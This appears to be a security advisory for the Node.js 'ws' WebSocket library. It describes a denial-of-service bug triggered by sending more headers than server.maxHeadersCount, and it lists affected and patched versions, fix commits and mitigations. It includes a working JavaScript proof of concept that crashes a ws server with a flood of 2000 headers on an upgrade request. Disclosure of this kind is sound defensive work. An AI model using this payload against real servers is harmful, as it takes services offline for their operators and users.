| Package | Affected versions | Patched versions |
|---|---|---|
| ws | ≥ 2.1.0, < 5.2.4≥ 6.0.0, < 6.2.3≥ 7.0.0, < 7.5.10≥ 8.0.0, < 8.17.1 | 5.2.46.2.37.5.108.17.1 |
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
In vulnerable versions of ws, the issue can be mitigated in the following ways:
--max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.server.maxHeadersCount to 0 so that no limit is applied.The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
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